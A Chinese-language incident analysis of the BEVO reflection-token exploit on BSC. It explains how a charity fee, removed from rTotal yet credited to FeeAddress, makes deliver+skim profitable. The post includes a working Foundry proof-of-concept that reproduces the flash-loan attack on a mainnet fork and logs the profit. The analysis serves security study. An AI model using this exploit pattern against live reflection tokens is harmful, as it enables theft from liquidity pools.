【漏洞分析】ReflectionToken BEVO代币攻击事件分析及复现
前言
BEVO代币是一种Reflection Token(反射型代币),并且拥有通缩的特性。关于Reflection Token更为详细的说明可参考这篇文章。然后目前浏览到的很多分析报告没有指出其漏洞产生的真正原因,所以就自己试着去做一下分析吧。
总结性的分析思路可以参考这篇文章:Reflection Token 反射型代币攻击事件通用分析思路
相关信息
- 攻击交易:https://explorer.phalcon.xyz/tx/bsc/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d
- BEVO合约地址:https://bscscan.com/token/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa
- FeeAddress地址:https://bscscan.com/address/0x473141b6f5e33dd90bd653940a854b58e83451db
- FeeAddress地址通过Pair用BEVO兑换WBNB:https://bscscan.com/tx/0xc38c290d9139b2f30fbf65666854e09fdc0efe6368c810d4863b3031c93ebc37
攻击过程分析
整个攻击过程很简单:
- 首先闪电贷借出大量的WBNB
- 通过池子换出大量BEVO
- 调用deliver函数消耗所有的BEVO
- 调用skim函数,获得比在deliver函数中所消耗的更多的BEVO
- 调用swap函数获得超额的WBNB
每一步都是正常的操作,但是最后的结果就是攻击者成功获利了。背后漏洞的成因还有点绕,接下来详细分析。
函数流程对比
由于BEVOToken是基于ReflectionToken进行修改的版本,而原版的反射代币执行这个简单的deliver+skim操作是安全的。那么我们将原版的ReflectionToken与魔改后的BEVOToken的_transferStandard函数进行一个对比(该函数在transfer的过程中要用到)。
REFLECT.sol(Original)
_transferStandard 流程
- 通过_getValues函数,基于tAmount计算出所有后续要用到的tAmount和rAmount,包括Fee和TransferAmount
- 登记rTransferAmount的转账:sender账户减少,recipient账户增加。
- 然后将Fee燃烧掉:从rTotal中减去rFee
CoinToken.sol(BEVO)
_transferStandard 流程
- 通过_getValues函数,基于tAmount计算出所有后续要用到的tAmount和rAmount,包括Fee,Burn,Charity和TransferAmount
- 通过_standardTransferContent函数,登记rTransferAmount的转账:sender账户减少,recipient账户增加。
- 调用_sendToCharity函数,将Charity值增加到FeeAddress账户中。
- 调用_reflectFee函数,从rTotal中减去rCharity,rFee,rBurn。从tTotal中减去tBurn。
BEVO机制漏洞
盈利的条件
先来了解一个前置条件,假设不收取任何费用的情况下,要通过deliver+skim这两个操作进行盈利,则需要要求skim得到的rAmount大于deliver掉的rAmount值。表示为rSkim > rDeliver。
公式推导为:
- [1]
rPair = tPair * (rTotal / tTotal)
- deliver操作
- [2]
rPair2 = tPair * (rTotal - rDeliver) / tTotal
- [3]
rSkim = rPair2 - rPair
- 若要求[4]
rSkim > rDeliver
,将公式1,2,3代入公式4 - 得[5]
rDeliver > rTotal - rPair
而正常情况下,rTotal作为所有rAmount值的总和,自然可得rTotal >= rDeliver + rPair,调整后得[6]rDeliver <= rTotal - rPair
。显然,公式5中的条件并不能满足,无法实现通过deliver+skim这两个操作进行盈利的目的。
那究竟发生了什么,打破了这种安全的场景。
奇怪的计算
在函数流程对比这一章节中有提到,BEVO调用_transferStandard转账的时候,会收取一个叫Charity的费用(1%)。收取这个费用的时候会将rCharity和tCharity增加到FeeAddress账户中,并且从rTotal中减去rCharity。
这里就出现了问题:
- 如果BEVO只是将rCharity从rTotal中减去,则效果类似于deliver和Fee的燃烧。
- 如果BEVO只是将rCharity和tCharity增加到FeeAddress账户中,则效果类似于转账。
但是它既将rCharity从rTotal中减去,又将rCharity和tCharity增加到FeeAddress账户中,这使得从rTotal的数值是不包括rAmount[FeeAddress]的,而FeeAddress地址上确实存在有一笔rAmount。这就有点像一笔本该销毁的资金,被FeeAddress偷偷藏了起来,这笔资金从rTotal账面上来看是销毁了,但是却被FeeAddress揣在了口袋里。
然后,如果这笔资金冻结在FeeAddress地址中不再流转,那么也不会对整个经济模型进行影响(就相当于deliver了)。但是,FeeAddress会用它手中的BEVO从Pair里兑换WBNB。这就使得了这笔不在rTotal范围内的资金流入了Pair地址中。
这会造成什么影响?
漏洞的成因
前面提到,FeeAddress会用它手中不合规的BEVO从Pair里兑换WBNB,从而使这笔不在rTotal范围内的资金rFeeAddress流入了Pair地址中。此时,将Pair池中的rAmount从新定义为[7]rPair2 = rPair + rFeeAddress
。
这笔不在rTotal累加范围内的资金加入,使得代表盈利条件的公式5能够实现,由rDeliver > rTotal - rPair2,将公式7代入后调整可得[8]rDeliver + rFeeAddress > rTotal - rPair
。
所以,攻击者首先借助闪电贷借出大量的BEVO代币,通过deliver操作,使得Pair中属于rFeeAddress的那部分的代币份额增大,从而执行skim操作的时候就能拿到超额的BEVO代币。最后归还闪电贷跑路。
漏洞复现
这个攻击流程并不复杂,所以动手复现一下,现学的Foundry可能写得有点粗糙。接口文件就不一一贴出了,只贴主要的测试文件。
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "../src/CoinToken.sol";
import "../src/interface/IWBNB.sol";
import "../src/interface/IPancakeRouter.sol";
import "../src/interface/IPancakePair.sol";
contract AttackTest is Test {
CoinToken public bevo = CoinToken(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa);
IWBNB public wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IPancakeRouter02 public pancakeRouter = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
PancakePair public pairWBNBUSDC = PancakePair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b);
PancakePair public pairWBNBADU = PancakePair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633);
function setUp() public{
// Fork BSC Chain, Block high 25230702.
// Set your API key.
string memory MAINNET_RPC_URL = "https://bsc-mainnet.nodereal.io/v1/xxx";
uint256 forkId = vm.createFork(MAINNET_RPC_URL, 25230702);
vm.selectFork(forkId);
}
function testAttack() public {
// Approve maximum amount for WBNB.
wbnb.approve(address(pancakeRouter), 2 **256 - 1);
// Calling swap function, and "data" parameter is not empty.
pairWBNBUSDC.swap(0, 192500000000000000000, address(this), "1");
// Profit amount
require(wbnb.balanceOf(address(this)) > 0);
console.log("Profit:%d WBNB", wbnb.balanceOf(address(this)));
}
function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes calldata data) external{
// Make up the path which is from WBNB to BEVO.
address[] memory path = new address[](2);
path[0] = address(wbnb);
path[1] = address(bevo);
// Exchange all WBNB to BEVO.
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
wbnb.balanceOf(address(this)),
0,
path,
address(this),
1675072425
);
// Deliver
bevo.deliver(bevo.balanceOf(address(this)));
// Skim
pairWBNBADU.skim(address(this));
// Deliver tiwce
bevo.deliver(bevo.balanceOf(address(this)));
// Exchange all BEVO to 337 WBNB.
pairWBNBADU.swap(337000000000000000000, 0, address(this), "");
// Repay the fashloan.
wbnb.transfer(address(pairWBNBUSDC), 193000000000000000000);
}
}
运行结果:
Running 1 test for test/Attack.t.sol:AttackTest
[PASS] testAttack() (gas: 421646)
Logs:
Profit:144000000000000000000 WBNB
Test result: ok. 1 passed; 0 failed; finished in 627.79ms
后语
最近在学习ReflectionToken的相关内容,了解到了BEVO代币的安全事件,打算跟着网上的分析文章把细节摸清一下。但很可惜发现网上的分析文章都是浅尝辄止,一副懂的都懂不懂的我也不多说了的样子,看到攻击者deliver+skim获利了就断定是deliver导致rTotal减少,从而rate增大就获得了套利机会(其实赚不了)。然后我按照文章中的思路计算了两天死活就算不出来盈利(就让我多吐槽几句吧因为我真的手算了好多页纸硬是没算出来)。所以自己摸索着搞了一份分析,因为小老弟也是在学习的过程中,所以文章有可能有错的地方,还请各位师傅多多指点。感谢阅读!
下面就是反面教材环节: